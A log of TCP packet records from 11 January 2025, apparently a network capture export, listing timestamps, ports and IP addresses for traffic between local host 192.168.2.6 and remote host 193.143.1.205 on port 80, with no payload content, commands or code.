Jan 11, 2025 07:23:50.889367104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889379978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.889406919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.889431953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.890023947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890036106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890047073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890074968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890081882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.890085936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890099049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890110970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.890120983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.890144110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.926239014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.926253080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.926268101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.926282883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.926299095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.926348925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.939750910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.939769983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.939781904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.939939976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.940021038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.960149050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960172892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960238934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960251093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960264921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960278034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960289001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.960293055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.960341930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.960341930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974304914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974350929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974363089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974370956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974383116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974417925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974442005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974452019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974453926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974493980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974497080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974539995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974591970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974637032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974682093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974694014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974739075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974833012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974844933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974857092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.974884987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974916935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.974997997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975009918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975023031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975033998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975048065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975049019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975089073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975588083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975599051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975610971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975640059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975661993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975678921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975689888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975699902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975713015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975729942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975759029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.975908995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975919962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975930929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975944042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975956917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.975963116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.976012945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.976588964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976599932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976610899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976644993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.976666927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.976670980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976687908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976700068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976711035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.976736069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.976766109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.994316101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994328976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994422913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.994493008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994504929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994524002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994530916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994537115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994573116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994585037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994592905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994708061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:50.994740963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:50.994740963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.012804031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.012836933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.012847900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.012932062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.013025999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.013047934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.013060093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.013101101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.026664019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.026721954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.026751995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.027129889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.046956062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.046996117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047009945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047112942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.047115088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047136068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047147036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.047149897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047161102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047173977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047177076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.047184944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.047192097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.047233105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.060892105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.060904980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.060918093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.060939074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.060950041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061014891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061052084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061156034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061167002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061177969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061201096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061229944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061295986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061346054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061356068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061393976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061494112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061541080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061552048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061574936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061587095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061738014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061748981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061759949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061772108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061784983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061800957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061814070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.061832905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061844110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.061885118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.062372923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062385082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062396049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062419891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062422037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.062443972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062457085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062460899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.062484026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062486887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.062535048 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.062975883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062987089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.062998056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063010931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063024044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063025951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063035011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063045979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063050032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063075066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063113928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063126087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063137054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063148975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063158035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063160896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063183069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063199043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063807011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063827991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063841105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063865900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.063908100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063919067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.063946962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081289053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081358910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081392050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081394911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081428051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081439018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081464052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081549883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081558943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081584930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081623077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081660986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081696987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081731081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081737995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.081765890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081803083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.081809998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.099584103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099617004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099630117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099713087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.099736929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099749088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099761963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.099790096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.099791050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.113435984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.113449097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.113460064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.113529921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.133642912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133666039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133675098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133718014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133727074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133733034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.133769989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.133776903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133786917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133836985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.133915901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133927107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133936882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.133958101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.133989096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.134036064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.134043932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.134088039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.147749901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147761106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147772074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147793055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147804976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147818089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.147855997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.147878885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147887945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147898912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.147922993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.147952080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.147960901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148066044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148108959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148113012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148205996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148243904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148267984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148327112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148339033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148367882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148467064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148478031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148488998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148499966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148510933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148540974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148663044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148673058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148686886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148699045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148708105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148711920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148720980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148729086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148761988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148932934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148945093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148963928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148974895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.148978949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.148987055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149000883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149008989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149029016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149215937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149235964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149246931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149262905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149292946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149379015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149389982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149399996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149430990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149473906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149483919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149496078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149507999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149518967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149529934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149559975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149712086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149724007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149734020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149745941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.149782896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.149816036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.150233030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.150244951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.150257111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.150269032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.150298119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.150329113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.168015003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168045044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168056011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168097973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168109894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168119907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168143034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.168186903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.168200970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168210983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168222904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168262959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.168355942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168368101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168380022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168390989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.168400049 CET	49711	80	192.168.2.6	193.143.1.205
